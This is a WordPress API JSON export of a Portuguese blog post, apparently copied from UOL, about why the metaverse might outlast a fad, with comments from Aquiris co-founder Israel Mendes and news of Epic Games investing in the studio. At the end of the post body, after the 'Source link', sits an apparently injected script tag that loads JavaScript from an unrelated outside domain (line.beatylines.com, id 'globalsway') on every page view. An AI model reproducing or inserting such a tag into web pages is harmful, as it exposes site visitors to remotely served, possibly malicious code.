{"id":811,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/alem-do-second-life-como-fazer-metaverso-de-agora-ser-mais-do-que-modinha-09-05-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"alem-do-second-life-como-fazer-metaverso-de-agora-ser-mais-do-que-modinha-09-05-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/alem-do-second-life-como-fazer-metaverso-de-agora-ser-mais-do-que-modinha-09-05-2022\/","title":{"rendered":"Al\u00e9m do Second Life: como fazer metaverso de agora ser mais do que modinha? &#8211; 09\/05\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>O termo <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2021\/10\/29\/o-que-e-o-metaverso-entenda-o-mundo-virtual-que-zuckerberg-quer-liderar.htm\">metaverso<\/a> surgiu h\u00e1 dez anos em um <a href=\"https:\/\/www.uol.com.br\/tilt\/faq\/metaverso-o-que-e-como-entrar-e-mais.htm\">livro de fic\u00e7\u00e3o cient\u00edfica <\/a>que serviu de inspira\u00e7\u00e3o para o desenvolvimento do <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2021\/12\/04\/criador-do-second-life-tem-duvidas-sobre-o-metaverso.htm\">game Second Life<\/a>, pioneiro nessa \u00e1rea. O jogo foi febre em meados de 2000, mas perdeu popularidade com os anos. E por que isso aconteceu?<\/p>\n<p>Uma das explica\u00e7\u00f5es \u00e9 que a plataforma de metaverso surgiu em uma \u00e9poca em que a converg\u00eancia tecnol\u00f3gica n\u00e3o estava pronta para que desse certo, acredita o diretor de marketing Israel Mendes. O executivo \u00e9 cofundador do <a href=\"https:\/\/tangerina.uol.com.br\/games\/horizon-chase-aquiris-historia\/\" target=\"_blank\" rel=\"noopener\">est\u00fadio ga\u00facho de games Aquiris<\/a>, conhecido pelo jogo de corrida Horizon Chase, entre outros.<\/p>\n<p>Para Mendes, o Second Life \u00e9 o <span>MVP<\/span> do metaverso \u2014 <span>express\u00e3o u<\/span>sada para definir o jogador eleito como o mais valioso do basquete. Contudo, era preciso mais. A plataforma entregava a realidade virtual como uma segunda vida, se o usu\u00e1rio assim quisesse.<\/p>\n<p>&#8220;Era um metaverso muito pesado, com gr\u00e1ficos estranhos e tinha poucos objetivos l\u00e1 dentro. N\u00e3o tinha essa quest\u00e3o de <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/03\/31\/starling-lab-projeto-usara-blockchain-para-proteger-arquivos-historicos.htm\">blockchain<\/a> e essas seguran\u00e7as tecnol\u00f3gicas, que s\u00e3o coisas que est\u00e3o possibilitando hoje o metaverso pegar tra\u00e7\u00e3o e funcionar&#8221;, afirmou durante o <a href=\"http:\/\/economia.uol.com.br\/noticias\/redacao\/2022\/05\/04\/south-summit-brasil.htm\">South Summit Brasil<\/a>, evento de <a href=\"http:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/05\/06\/robos-e-ia-podem-reduzir-riscos-e-agilizar-tarefas-sem-deletar-trabalhador.htm\">inova\u00e7\u00e3o realizado em Porto Alegre<\/a>, que terminou sexta-feira (6).<\/p>\n<h2>E o que esperar do metaverso de agora?<\/h2>\n<p>Para o executivo, os metaversos em discuss\u00e3o agora s\u00e3o finalidades mais funcionais, que fazem deles uma experi\u00eancia virtual mais imersiva. &#8220;Tem um metaverso conceitual no passado, que a tecnologia \u00e9 a mesma, mas hoje ele est\u00e1 mais elaborado&#8221;, destaca.<\/p>\n<p>O tema gerou novo interesse depois que <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/04\/07\/como-vai-ser-o-home-office-no-metaverso-mark-zuckerberg-da-uma-ideia.htm\">Mark Zuckerberg<\/a>, presidente-executivo da Meta (<span>ex-Facebook<\/span>), divulgou que <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/04\/26\/zuckerberg-esta-obcecado-com-metaverso-dizem-funcionarios-da-meta.htm\">investir\u00e1 nisso<\/a> \u2014at\u00e9 o nome do grupo respons\u00e1vel pelo Facebook, WhatsApp e Instagram mudou.<\/p>\n<p>O futuro da internet deve ir al\u00e9m de o usu\u00e1rio olhar para a tela. Ou seja, a pessoa estar\u00e1 dentro dela, chegou a afirmar Sue <span>Yong<\/span>, diretora de produtos da Meta. Mas os desafios j\u00e1 come\u00e7aram.<\/p>\n<p>S\u00f3 neste ano, o grupo revelou perda de mais de US$ 10 bilh\u00f5es na divis\u00e3o de Reality Labs, que desenvolve \u00f3culos de realidade virtual, entre outros produtos importantes para a consolida\u00e7\u00e3o do metaverso que Zuckerberg busca, como <a href=\"https:\/\/www.nytimes.com\/2022\/02\/02\/technology\/meta-facebook-earnings-metaverse.html\" target=\"_blank\" rel=\"noopener\">reportado pelo jornal New York Times<\/a> em fevereiro.<\/p>\n<h2>Como fazer o metaverso ser mais do que modinha?<\/h2>\n<p><span>Diante do sucesso e certo decl\u00ednio do Second Live, <\/span>o que \u00e9 poss\u00edvel fazer para que, dessa vez, o metaverso seja mais do que uma febre, uma modinha?<\/p>\n<p>Segundo Mendes, a resposta depende diretamente do que vir\u00e1. Por isso \u00e9 cedo para dizer. De qualquer forma, o movimento de Zuckerberg, por exemplo, pode ter ajudado a dar seguran\u00e7a para a ideia desse mundo alternativo e para quem vem atr\u00e1s.<\/p>\n<p>&#8220;Na perspectiva de quem trabalha com jogos, vai precisar que essas experi\u00eancias estejam bem desenhadas, porque as pessoas v\u00e3o estar ali enquanto elas tiverem vontade de estar ali&#8221;, afirma.<\/p>\n<p>&#8220;O que motiva a vontade? No primeiro momento, tudo que \u00e9 novo tem o fator curiosidade, o <a href=\"https:\/\/www.uol.com.br\/universa\/noticias\/redacao\/2018\/01\/12\/parece-inveja-mas-nao-e-so-isso-fomo-gera-ansiedade-e-ate-depressao.htm\" target=\"_blank\" rel=\"noopener\">FOMO (Fear of missing out, sigla em ingl\u00eas para definir o medo de perder algo que est\u00e1 acontecendo<\/a>). As pessoas querem estar l\u00e1, ver o que \u00e9. Mas os jogos sabem que n\u00e3o \u00e9 100 metros rasos, \u00e9 maratona. E como voc\u00ea vai manter uma pessoa numa realidade alternativa? Jogos fazem isso desde sempre&#8221;, completa.<\/p>\n<p>As chances de o metaverso se consolidar, ent\u00e3o, est\u00e3o na capacidade da experi\u00eancia dar sentido a si mesma para quem est\u00e1 nela. No mundo dos games, isso \u00e9 conhecido como UX, ou experi\u00eancia de usu\u00e1rio (<a href=\"https:\/\/www1.folha.uol.com.br\/sobretudo\/carreiras\/2021\/09\/disputado-profissional-que-cuida-da-experiencia-online-do-cliente-cresce-rapido.shtml\" target=\"_blank\" rel=\"noopener\">user experience<\/a>), ressalta o executivo.<\/p>\n<p>&#8220;J\u00e1 tem coisas dando certo. Agora, se isso vai massificar, se vai virar uma nova [tend\u00eancia]\u2026 Os games come\u00e7aram nos anos 1970 e deram certo at\u00e9 hoje. O que vai fazer funcionar daqui para o futuro? \u00c9 isso, o design das experi\u00eancias. Tem que ter sentido suficiente para seus respectivos p\u00fablicos&#8221;, diz.<\/p>\n<p>Ele cita, por exemplo, a iniciativa do <a href=\"https:\/\/www.uol.com.br\/start\/fortnite\/\" target=\"_blank\" rel=\"noopener\">Fortnite<\/a>, que ampliou a plataforma de jogos para se tornar uma arena de shows (O <a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/pedro-e-paulo-markun\/2022\/05\/08\/show-do-emicida-no-metaverso-e-um-sucesso.htm\">Emicida<\/a> j\u00e1 participou de um recentemente), o que fez com que largasse muito \u00e0 frente na discuss\u00e3o.<\/p>\n<h2>Investimento da dona do <span>Fortnite<\/span><\/h2>\n<p>Apesar de ter tido sondagens, entrar no metaverso n\u00e3o est\u00e1 nos planos do est\u00fadio Aquiris, empresa criada por ele e amigos em 2007, em uma quitinete no bairro Partenon, em Porto Alegre, pr\u00f3ximo ao campus da universidade PUC-RS \u2014hoje eles est\u00e3o no Tecnopuc, parque tecnol\u00f3gico da institui\u00e7\u00e3o de ensino.<\/p>\n<p>Os planos futuros envolvem a atualiza\u00e7\u00e3o de seu portf\u00f3lio de jogos. Na metade de abril, a Aquiris anunciou um investimento da Epic Games, empresa conhecida por desenvolver a tecnologia 3D por tr\u00e1s do Fortnite e da ferramenta Unreal Engine. Valores do acordo ou detalhes sobre o que ser\u00e3o esses jogos n\u00e3o foram revelados ainda.<\/p>\n<p>De acordo com Mendes, a Epic se tornou s\u00f3cia do est\u00fadio ga\u00facho como um investidor minorit\u00e1rio, mas os fundadores ainda t\u00eam o controle da empresa.<\/p>\n<p>A Aquiris atraiu os olhares da empresa norte-americana pelo posicionamento no mercado que adquiriu com os anos. Ela come\u00e7ou desenvolvendo experi\u00eancias de realidade virtual, por exemplo, visitas virtuais para mercado imobili\u00e1rio, e os chamados advergames, jogos com marketing, trabalhando com marcas como Axe, Chandelle e Lacta.<\/p>\n<p>Depois come\u00e7ou a desenvolver jogos casuais, em parcerias com o canal Cartoon Network e com a Globo.com. Na sequ\u00eancia, a companhia migrou para os jogos propriet\u00e1rios.<\/p>\n<p>Em 2015, o est\u00fadio lan\u00e7ou o jogo de corrida Horizon Chase na App Store, que conquistou pr\u00eamios. O jogo Wonderbox apareceu no an\u00fancio de lan\u00e7amento do servi\u00e7o de assinatura de games <a href=\"https:\/\/entrelinhas.blogosfera.uol.com.br\/2019\/08\/20\/testamos-o-arcade-servico-de-assinatura-de-jogos-da-apple\/\">Apple Arcade,<\/a> feito por Tim Cook.<\/p>\n<p>&#8220;O Horizon Chase \u00e9 nosso divisor de \u00e1guas, nosso cart\u00e3o de visitas para tudo o que veio depois&#8221;, diz Mendes.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/05\/09\/o-que-e-preciso-para-que-o-metaverso-seja-mais-do-que-uma-febre.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O termo metaverso surgiu h\u00e1 dez anos em um livro de fic\u00e7\u00e3o cient\u00edfica que serviu de inspira\u00e7\u00e3o para o desenvolvimento do game Second Life, pioneiro nessa \u00e1rea. O jogo foi febre em meados de 2000, mas perdeu popularidade com os anos. E por que isso aconteceu? Uma das explica\u00e7\u00f5es \u00e9 que a plataforma de metaverso&#8230;<\/p>\n","protected":false},"author":1,"featured_media":812,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[1],"tags":[32,1520,12,416,1740,9,357,1741,671],"class_list":["post-811","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sem-categoria","tag-agora","tag-alem","tag-como","tag-fazer","tag-life","tag-mais","tag-metaverso","tag-modinha","tag-ser"],"_links":{"self":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/811","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/comments?post=811"}],"version-history":[{"count":0,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/811\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media\/812"}],"wp:attachment":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media?parent=811"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/categories?post=811"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/tags?post=811"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}